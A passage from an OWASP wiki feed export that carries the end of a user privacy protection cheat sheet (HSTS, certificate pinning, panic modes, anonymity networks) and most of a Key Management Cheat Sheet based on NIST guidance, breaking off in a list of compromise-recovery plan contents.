HTTP Strict Transport Security (HSTS) is an HTTP header set by the server indicating to the user agent that only secure (HTTPS) connections are accepted, prompting the user agent to change all insecure HTTP links to HTTPS, and forcing the compliant user agent to fail-safe by refusing any TLS/SSL connection that is not trusted by the user. &lt;br /&gt;
&lt;br /&gt;
HSTS has average support on popular user agents, such as Mozilla Firefox and Google Chrome. Nevertheless, it remains very useful for users who are in consistent fear of spying and Man in the Middle Attacks. &lt;br /&gt;
&lt;br /&gt;
If it is impractical to force HSTS on all users, web developers should at least give users the choice to enable it if they wish to make use of it. &lt;br /&gt;
&lt;br /&gt;
For more details regarding HSTS, please visit: &lt;br /&gt;
&lt;br /&gt;
# [https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security HTTP Strict Transport Security in Wikipedia]&lt;br /&gt;
# [https://tools.ietf.org/html/draft-ietf-websec-strict-transport-sec-11 IETF Draft for HSTS]&lt;br /&gt;
# [http://www.youtube.com/watch?v=zEV3HOuM_Vw OWASP Appsec Tutorial Series - Episode 4: Strict Transport Security]&lt;br /&gt;
&lt;br /&gt;
== Digital Certificate Pinning ==&lt;br /&gt;
&lt;br /&gt;
Certificate Pinning is the practice of hardcoding or storing a pre-defined set of information (usually hashes) for digital certificates/public keys in the user agent (be it web browser, mobile app or browser plugin) such that only the predefined certificates/public keys are used for secure communication, and all others will fail, even if the user trusted (implicitly or explicitly) the other certificates/public keys. &lt;br /&gt;
&lt;br /&gt;
Some advantages for pinning are: &lt;br /&gt;
&lt;br /&gt;
* In the event of a CA compromise, in which a compromised CA trusted by a user can issue certificates for any domain, allowing evil perpetrators to eavesdrop on users. &lt;br /&gt;
* In environments where users are forced to accept a potentially-malicious root CA, such as corporate environments or national PKI schemes. &lt;br /&gt;
* In applications where the target demographic may not understand certificate warnings, and is likely to just allow any invalid certificate. &lt;br /&gt;
&lt;br /&gt;
For details regarding certificate pinning, please refer to the following: &lt;br /&gt;
&lt;br /&gt;
# [https://www.owasp.org/index.php/Pinning_Cheat_Sheet OWASP Certificate Pinning Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
# [https://www.ietf.org/id/draft-ietf-websec-key-pinning-02.txt Public Key Pinning Extension for HTTP draft-ietf-websec-key-pinning-02]&lt;br /&gt;
&lt;br /&gt;
# [https://www.owasp.org/images/4/4b/OWASP_defending-MITMA_APAC2012.pdf Securing the SSL channel against man-in-the-middle attacks: Future technologies - HTTP Strict Transport Security and and Pinning of Certs, by Tobias Gondrom]&lt;br /&gt;
&lt;br /&gt;
== Panic Modes ==&lt;br /&gt;
&lt;br /&gt;
A panic mode is a mode that threatened users can refer to when they fall under direct threat to disclose account credentials.&lt;br /&gt;
&lt;br /&gt;
Giving users the ability to create a panic mode can help them survive these threats, especially in tumultuous regions around the world. Unfortunately many users around the world are subject to types of threats that most web developers do not know of or take into account. &lt;br /&gt;
&lt;br /&gt;
Examples of panic modes are modes where distressed users can delete their data upon threat, log into fake inboxes/accounts/systems, or invoke triggers to backup/upload/hide sensitive data. &lt;br /&gt;
&lt;br /&gt;
The appropriate panic mode to implement differs depending on the application type. A disk encryption software such as VeraCrypt might implement a panic mode that starts up a fake system partition if the user entered his/her distressed password. &lt;br /&gt;
&lt;br /&gt;
E-mail providers might implement a panic mode that hides predefined sensitive emails or contacts, allowing reading innocent e-mail messages only, usually as defined by the user, while preventing the panic mode from overtaking the actual account. &lt;br /&gt;
&lt;br /&gt;
An important note about panic modes is that they must not be easily discoverable, if at all. An adversary inside a victim's panic mode must not have any way, or as few possibilities as possible, of finding out the truth. This means that once inside a panic mode, most non-sensitive normal operations must be allowed to continue (such as sending or receiving email), and that further panic modes must be possible to create from inside the original panic mode (If the adversary tried to create a panic mode on a victim's panic mode and failed, the adversary would know he/she was already inside a panic mode, and might attempt to hurt the victim). &lt;br /&gt;
Another solution would be to prevent panic modes from being generated from the user account, and instead making it a bit harder to spoof by adversaries. For example it could be only created Out Of Band, and adversaries must have no way to know a panic mode already exists for that particular account. &lt;br /&gt;
&lt;br /&gt;
The implementation of a panic mode must always aim to confuse adversaries and prevent them from reaching the actual accounts/sensitive data of the victim, as well as prevent the discovery of any existing panic modes for a particular account. &lt;br /&gt;
&lt;br /&gt;
For more details regarding VeraCrypt's hidden operating system mode, please refer to: &lt;br /&gt;
&lt;br /&gt;
# [https://www.veracrypt.fr/en/Hidden%20Operating%20System.html VeraCrypt Hidden Operating System]&lt;br /&gt;
&lt;br /&gt;
== Remote Session Invalidation ==&lt;br /&gt;
&lt;br /&gt;
In case user equipment is lost, stolen or confiscated, or under suspicion of cookie theft; it might be very beneficial for users to able to see view their current online sessions and disconnect/invalidate any suspicious lingering sessions, especially ones that belong to stolen or confiscated devices. Remote session invalidation can also helps if a user suspects that his/her session details were stolen in a Man-in-the-Middle attack. &lt;br /&gt;
&lt;br /&gt;
For details regarding session management, please refer to: &lt;br /&gt;
&lt;br /&gt;
# [https://www.owasp.org/index.php/Session_Management_Cheat_Sheet OWASP Session Management Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
== Allow Connections from Anonymity Networks ==&lt;br /&gt;
&lt;br /&gt;
Anonymity networks, such as the Tor Project, give users in tumultuous regions around the world a golden chance to escape surveillance, access information or break censorship barriers. More often than not, activists in troubled regions use such networks to report injustice or send uncensored information to the rest of the world, especially mediums such as social networks, media streaming websites and e-mail providers. &lt;br /&gt;
&lt;br /&gt;
Web developers and network administrators must pursue every avenue to enable users to access services from behind such networks, and any policy made against such anonymity networks need to be carefully re-evaluated with respect to impact on people around the world. &lt;br /&gt;
&lt;br /&gt;
If possible, application developers should try to integrate or enable easy coupling of their applications with these anonymity networks, such as supporting SOCKS proxies or integration libraries (e.g. OnionKit for Android). &lt;br /&gt;
&lt;br /&gt;
For more information about anonymity networks, and the user protections they provide, please refer to: &lt;br /&gt;
&lt;br /&gt;
#  [https://www.torproject.org The Tor Project]&lt;br /&gt;
# [http://www.i2p2.de I2P Network]&lt;br /&gt;
# [https://github.com/guardianproject/OnionKit OnionKit: Boost Network Security and Encryption in your Android Apps]&lt;br /&gt;
&lt;br /&gt;
== Prevent IP Address Leakage ==&lt;br /&gt;
&lt;br /&gt;
Preventing leakage of user IP addresses is of great significance when user protection is in scope. Any application that hosts external 3rd party content, such as avatars, signatures or photo attachments; must take into account the benefits of allowing users to block 3rd-party content from being loaded in the application page. &lt;br /&gt;
&lt;br /&gt;
If it was possible to embed 3rd-party, external domain images, for example, in a user's feed or timeline; an adversary might use it to discover a victim's real IP address by hosting it on his domain and watch for HTTP requests for that image. &lt;br /&gt;
&lt;br /&gt;
Many web applications need user content to operate, and this is completely acceptable as a business process; however web developers are advised to consider giving users the option of blocking external content as a precaution. This applies mainly to social networks and forums, but can also apply to web-based e-mail, where images can be embedded in HTML-formatted e-mails. &lt;br /&gt;
&lt;br /&gt;
A similar issue exists in HTML-formatted emails that contain 3rd party images, however most e-mail clients and providers block loading of 3rd party content by default; giving users better privacy and anonymity protection.&lt;br /&gt;
&lt;br /&gt;
== Honesty &amp;amp; Transparency ==&lt;br /&gt;
&lt;br /&gt;
If the web application cannot provide enough legal or political protections to the user, or if the web application cannot prevent misuse or disclosure of sensitive information such as logs, the truth must be told to the users in a clear understandable form, so that users can make an educated choice about whether or not they should use that particular service. &lt;br /&gt;
&lt;br /&gt;
If it doesn't violate the law, inform users if their information is being requested for removal or investigation by external entities. &lt;br /&gt;
&lt;br /&gt;
Honesty goes a long way towards cultivating a culture of trust between a web application and its users, and it allows many users around the world to weigh their options carefully, preventing harm to users in various contrasting regions around the world. &lt;br /&gt;
&lt;br /&gt;
More insight regarding secure logging can be found at: &lt;br /&gt;
&lt;br /&gt;
# [https://www.owasp.org/index.php/Logging_Cheat_Sheet OWASP Logging Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Mohammed ALDOUB - OWASP Kuwait chapter leader&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Key_Management_Cheat_Sheet&amp;diff=241393</id>
		<title>Key Management Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Key_Management_Cheat_Sheet&amp;diff=241393"/>
				<updated>2018-06-19T01:53:35Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Add link to cheat sheet&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Introduction=&lt;br /&gt;
This Key Management Cheat Sheet provides developers with guidance for implementation of cryptographic key management within an application in a secure manner. It is important to document and harmonize rules and practices for: &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;key life cycle management (generation, distribution, destruction)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;key compromise, recovery and zeroization&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;key storage&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;key agreement&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
=General Guidelines and Considerations=&lt;br /&gt;
Formulate a plan for the overall organization's cryptographic strategy to guide developers working on different applications and ensure that each application's cryptographic capability meets minimum requirements and best practices. Identify the cryptographic and key management requirements for your application and map all components that process or store cryptographic key material. &lt;br /&gt;
=Key Selection=&lt;br /&gt;
Selection of the cryptographic and key management algorithms to use within a given application should begin with an understanding of the objectives of the application. For example, if the application is required to store data securely, then the developer should select an algorithm suite that supports the objective of data at rest protection security. Applications that are required to transmit and receive data would select an algorithm suite that supports the objective of data in transit protection. We have provided recommendations on the selection of crypto suites within an application based on application and security objectives. &lt;br /&gt;
Application developers oftentimes begin the development of crypto and key management capabilities by examining what is available in a library. However, an analysis of the real needs of the application should be conducted to determine the optimal key management approach. Begin by understanding the security objectives of the application which will then drive the selection of cryptographic protocols that are best suited. &lt;br /&gt;
For example, the application may require: &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Confidentiality of data at rest and confidentiality of data in transit. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Authenticity of the end device  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Authenticity of data origin &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Integrity of data in transit &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Keys to create the data encryption keys &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
Once the understanding of the security needs of the application is achieved, developers can determine what protocols and algorithms are required. Once the protocols and algorithms are understood, you can you can begin to define the different types of keys that will support the application's objectives. There are a diverse set of key types and certificates to consider, for example: &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Encryption: - Symmetric encryption keys - Asymmetric encryption keys (public and private) &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Authentication of End Devices: - Pre-shared symmetric keys - Trusted certificates - Trust Anchors &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Data Origin Authentication - HMAC &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Integrity Protection - Message Authentication Codes (MACs) &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Key Encryption Keys &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
==Algorithms and Protocols==&lt;br /&gt;
According to NIST SP 800-57 Part 1, many algorithms and schemes that provide a security service use a hash function as a component of the algorithm. Hash functions can be found in digital signature algorithms (FIPS186), Keyed-Hash Message Authentication Codes (HMAC) (FIPS198), key-derivation functions/methods (NIST Special Publications (SP) 800-56A, 800-56B, 800-56C and 800-108), and random number generators (NIST SP 800-90A). Approved hash functions are defined in FIPS180. &lt;br /&gt;
NIST SP 800-57 Part 1 recognizes three basic classes of approved cryptographic algorithms: hash functions, symmetric- key algorithms and asymmetric-key algorithms. The classes are defined by the number of cryptographic keys that are used in conjunction with the algorithm. &lt;br /&gt;
===Cryptographic hash functions=== &lt;br /&gt;
Cryptographic hash functions do not require keys. Hash functions generate a relatively small digest (hash value) from a (possibly) large input in a way that is fundamentally difficult to reverse (i.e., it is hard to find an input that will produce a given output). Hash functions are used as building blocks for key management, for example, &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;To provide data authentication and integrity services (Section 4.2.3) – the hash function is used with a key to generate a message authentication code; &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;To compress messages for digital signature generation and verification (Section 4.2.4); &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;To derive keys in key-establishment algorithms (Section 4.2.5); and&amp;lt;/li&amp;gt; &lt;br /&gt;
&amp;lt;li&amp;gt;To generate deterministic random numbers (Section 4.2.7).   &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
===Symmetric-key algorithms=== &lt;br /&gt;
Symmetric-key algorithms (sometimes known as secret-key algorithms) transform data in a way that is fundamentally difficult to undo without knowledge of a secret key. The key is “symmetric” because the same key is used for a cryptographic operation and its inverse (e.g., encryption and decryption). Symmetric keys are often known by more than one entity; however, the key shall not be disclosed to entities that are not authorized access to the data protected by that algorithm and key. Symmetric key algorithms are used, for example, &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;To provide data confidentiality (Section 4.2.2); the same key is used to encrypt and decrypt data;  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;To provide authentication and integrity services (Section 4.2.3) in the form of Message Authentication Codes (MACs); the same key is used to generate the MAC and to validate it. MACs normally employ either a symmetric key-encryption algorithm or a cryptographic hash function as their cryptographic primitive;  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;As part of the key-establishment process (Section 4.2.5); and &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;To generate deterministic random numbers (Section 4.2.7). &amp;lt;/li&amp;gt;  &lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
===Asymmetric-key algorithms=== &lt;br /&gt;
Asymmetric-key algorithms, commonly known as public-key algorithms, use two related keys (i.e., a key pair) to perform their functions: a public key and a private key. The public key may be known by anyone; the private key should1 be under the sole control of the entity that “owns” the key pair. Even though the public and private keys of a key pair are related, knowledge of the public key does not reveal the private key. Asymmetric algorithms are used, for example, &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;To compute digital signatures (Section 4.2.4);  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;To establish cryptographic keying material (Section 4.2.5); and &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;To generate random numbers (Section 4.2.7). &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
===Message Authentication Codes (MACs)=== &lt;br /&gt;
Message Authentication Codes (MACs) provide data authentication and integrity. A MAC is a cryptographic checksum on the data that is used in order to provide assurance that the data has not changed and that the MAC was computed by the expected entity. Although message integrity is often provided using non-cryptographic techniques known as error detection codes, these codes can be altered by an adversary to effect an action to the adversary’s benefit. The use of an approved cryptographic mechanism, such as a MAC, can alleviate this problem. In addition, the MAC can provide a recipient with assurance that the originator of the data is a key holder (i.e., an entity authorized to have the key). MACs are often used to authenticate the originator to the recipient when only those two parties share the MAC key.    &lt;br /&gt;
===Digital Signatures===&lt;br /&gt;
Digital signatures are used to provide authentication, integrity and non-repudiation. Digital signatures are used in conjunction with hash functions and are computed on data of any length (up to a limit that is determined by the hash function). FIPS186 specifies algorithms that are approved for the computation of digital signatures. &lt;br /&gt;
===Key Encryption Keys===&lt;br /&gt;
Symmetric key-wrapping keys are used to encrypt other keys using symmetric-key algorithms. Key-wrapping keys are also known as key encrypting keys.&lt;br /&gt;
==Key Strength==&lt;br /&gt;
Review NIST SP 800-57 (Recommendation for Key Management) for recommended guidelines on key strength for specific algorithm implementations. Also, consider these best practices: &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Establish what the application's minimum computational resistance to attack should be. Understanding the minimum computational resistance to attack should take into consideration the sophistication of your adversaries, how long data needs to be protected, where data is stored and if it is exposed. Identifying the computational resistance to attack will inform engineers as to the minimum length of the cryptographic key required to protect data over the life of that data. Consult NIST SP 800-131a for additional guidance on determining the appropriate key lengths for the algorithm of choice. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;When encrypting keys for storage or distribution, always encrypt a cryptographic key with another key of equal or greater cryptographic strength. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;When moving to Elliptic Curve-based algorithms, choose a key length that meets or exceeds the comparative strength of other algorithms in use within your system. Refer to NIST SP 800-57 Table 2. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Formulate a strategy for the overall organization's cryptographic strategy to guide developers working on different applications and ensure that each application's cryptographic capability meets minimum requirements and best practices. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
==Memory Management Considerations==&lt;br /&gt;
Keys stored in memory for a long time can become “burned in”.  This can be mitigated by splitting the key into components that are frequently updated. NIST SP 800.57). Loss or corruption of the memory media on which keys and/or certificates are stored, and recovery planning, according to NIST SP 800.57.&lt;br /&gt;
Plan for the recovery from possible corruption of the memory media necessary for key or certificate generation, registration, and/or distribution systems, subsystems, or components as recommended in NIST SP 800.57. &lt;br /&gt;
==Perfect Forward Secrecy==&lt;br /&gt;
Ephemeral keys can provide perfect forward secrecy protection, which means a compromise of the server's long term signing key does not compromise the confidentiality of past sessions. Refer to [https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet OWASP Transport Layer Protection Cheat Sheet].&lt;br /&gt;
&lt;br /&gt;
==Proxy Handling==&lt;br /&gt;
==Key Usage==&lt;br /&gt;
According to NIST, in general, a single key should be used for only one purpose (e.g., encryption, authentication, key wrapping, random number generation, or digital signatures). There are several reasons for this: &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The use of the same key for two different cryptographic processes may weaken the security provided by one or both of the processes. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Limiting the use of a key limits the damage that could be done if the key is compromised.  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Some uses of keys interfere with each other. For example, the length of time the key may be required for each use and purpose. Retention requirements of the data may differ for different data types. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
==Cryptographic Module Topics==&lt;br /&gt;
According to NIST SP800-133, cryptographic modules are the set of hardware, software, and/or firmware that implements security functions (including cryptographic algorithms and key generation) and is contained within a cryptographic module boundary to provide protection of the keys.&lt;br /&gt;
=Key Management Lifecycle Best Practices=&lt;br /&gt;
==Generation==&lt;br /&gt;
Cryptographic keys shall be generated within cryptographic module with at least a FIPS 140-2 compliance. For explanatory purposes, consider the cryptographic module in which a key is generated to be the key-generating module. Any random value required by the key-generating module shall be generated within that module; that is, the Random Bit Generator that generates the random value shall be implemented within cryptographic module with at least a FIPS 140-2 compliance that generates the key. &lt;br /&gt;
Hardware cryptographic modules are preferred over software cryptographic modules for protection.&lt;br /&gt;
==Distribution==&lt;br /&gt;
The generated keys shall be transported (when necessary) using secure channels and shall be used by their associated cryptographic algorithm within at least a FIPS 140-2 compliant cryptographic modules. For additional detail for the recommendations in this section refer to NIST Special Paper 800-133. &lt;br /&gt;
==Storage==&lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Developers must understand where cryptographic keys are stored within the application. Understand what memory devices the keys are stored on. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Keys must be protected on both volatile and persistent memory, ideally processed within secure cryptographic modules. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Keys should never be stored in plaintext format. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Ensure all keys are stored in cryptographic vault, such as a hardware security module (HSM) or isolated cryptographic service. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;If you are planning on storing keys in offline devices/databases, then encrypt the keys using Key Encryption Keys (KEKs) prior to the export of the key material. KEK length (and algorithm) should be equivalent to or greater in strength than the keys being protected. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Ensure that keys have integrity protections applied while in storage (consider dual purpose algorithms that support encryption and Message Code Authentication (MAC)). &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Ensure that standard application level code never reads or uses cryptographic keys in any way and use key management libraries. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Ensure that keys and cryptographic operation is done inside the sealed vault. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;All work should be done in the vault (such as key access, encryption, decryption, signing, etc). &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
==Escrow and Backup==&lt;br /&gt;
Data that has been encrypted with lost cryptographic keys will never be recovered. Therefore, it is essential that the application incorporate a secure key backup capability, especially for applications that support data at rest encryption for long-term data stores. When backing up keys, ensure that the database that is used to store the keys is encrypted using at least a FIPS 140-2 validated module. &lt;br /&gt;
It is sometimes useful to escrow key material for use in investigations and for re-provisioning of key material to users in the event that the key is lost or corrupted. Never escrow keys used for performing digital signatures, but consider the need to escrow keys that support encryption. Oftentimes, escrow can be performed by the Certificate Authority (CA) or key management system that provisions certificates and keys, however in some instances separate APIs must be implemented to allow the system to perform the escrow for the application.&lt;br /&gt;
==Key Rotation== &lt;br /&gt;
==Accountability and Audit==&lt;br /&gt;
Accountability involves the identification of those that have access to, or control of, cryptographic keys throughout their lifecycles. Accountability can be an effective tool to help prevent key compromises and to reduce the impact of compromises once they are detected. Although it is preferred that no humans are able to view keys, as a minimum, the key management system should account for all individuals who are able to view plaintext cryptographic keys. In addition, more sophisticated key-management systems may account for all individuals authorized to access or control any cryptographic keys, whether in plaintext or ciphertext form.&lt;br /&gt;
Accountability provides three significant advantages: &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;It aids in the determination of when the compromise could have occurred and what individuals could have been involved,  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;It tends to protect against compromise, because individuals with access to the key know that their access to the key is known, and &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;It is very useful in recovering from a detected key compromise to know where the key was used and what data or other keys were protected by the compromised key. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
Certain principles have been found to be useful in enforcing the accountability of cryptographic keys. These principles might not apply to all systems or all types of keys. Some of the principles that apply to long-term keys controlled by humans include: &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Uniquely identifying keys, &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Identifying the key user, &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Identifying the dates and times of key use, along with the data that is protected, and &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Identifying other keys that are protected by a symmetric or private key. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
Two types of audit should be performed on key management systems: &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The security plan and the procedures that are developed to support the plan should be periodically audited to ensure that they continue to support the Key Management Policy (NIST SP 800-57 Part 2). &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The protective mechanisms employed should be periodically reassessed with respect to the level of security that they provide and are expected to provide in the future, and that the mechanisms correctly and effectively support the appropriate policies. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
New technology developments and attacks should be taken into consideration. On a more frequent basis, the actions of the humans that use, operate and maintain the system should be reviewed to verify that the humans continue to follow established security procedures. Strong cryptographic systems can be compromised by lax and inappropriate human actions. Highly unusual events should be noted and reviewed as possible indicators of attempted attacks on the system.&lt;br /&gt;
==Key Compromise and Recovery==&lt;br /&gt;
The compromise of a key has the following implications: &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;In general, the unauthorized disclosure of a key used to provide confidentiality protection (i.e., via encryption) means that all information encrypted by that key could be expose or known by unauthorized entities. The disclosure of a Certificate of Authorities’s private signature key means that an adversary can create fraudulent certificates and Certificate Revocation Lists (CRLs).  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A compromise of the integrity of a key means that the key is incorrect - either that the key has been modified (either deliberately or accidentally), or that another key has been substituted; this includes a deletion (non-availability) of the key. The substitution or modification of a key used to provide integrity calls into question the integrity of all information protected by the key. This information could have been provided by, or changed by, an unauthorized entity that knows the key. The substitution of a public or secret key that will be used (at a later time) to encrypt data could allow an unauthorized entity (who knows the decryption key) to decrypt data that was encrypted using the encryption key. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A compromise of a key’s usage or application association means that the key could be used for the wrong purpose (e.g., for key establishment instead of digital signatures) or for the wrong application, and could result in the compromise of information protected by the key. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A compromise of a key’s association with the owner or other entity means that the identity of the other entity cannot be assured (i.e., one does not know who the other entity really is) or that information cannot be processed correctly (e.g., decrypted with the correct key).  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A compromise of a key’s association with other information means that there is no association at all, or the association is with the wrong “information”. This could cause the cryptographic services to fail, information to be lost, or the security of the information to be compromised. Certain protective measures may be taken in order to minimize the likelihood or consequences of a key compromise. Similar affect as ransomware, except that you can’t pay the ransom and get the key back. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
The following procedures are usually involved: &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Limiting the amount of time a symmetric or private key is in plaintext form. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Preventing humans from viewing plaintext symmetric and private keys. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Restricting plaintext symmetric and private keys to physically protected containers. This includes key generators, key-transport devices, key loaders, cryptographic modules, and key-storage devices. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Using integrity checks to ensure that the integrity of a key or its association with other data has not been compromised. For example, keys may be wrapped (i.e., encrypted) in such a manner that unauthorized modifications to the wrapping or to the associations will be detected. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Employing key confirmation (see NIST SP 800-57 Part 1 Section 4.2.5.5) to help ensure that the proper key was, in fact, established. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Establishing an accountability system that keeps track of each access to symmetric and private keys in plaintext form. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Providing a cryptographic integrity check on the key (e.g., using a MAC or a digital signature). &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The use of trusted timestamps for signed data. i. Destroying keys as soon as they are no longer needed. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Creating a compromise-recovery plan, especially in the case of a CA compromise. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
A compromise-recovery plan is essential for restoring cryptographic security services in the event of a key compromise. A compromise-recovery plan shall be documented and easily accessible. The compromise-recovery plan should contain:  &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The identification and contact info of the personnel to notify, &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The identification and contact info of the personnel to perform the recovery actions, &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The re-key method,  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;An inventory of all cryptographic keys and their use (e.g., the location of all certificates in a system),  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The education of all appropriate personnel on the recovery procedures, &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;An identification and contact info of all personnel needed to support the recovery procedures, &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Policies that key-revocation checking be enforced (to minimize the effect of a compromise), &amp;lt;/li&amp;gt;&lt;br /&gt;
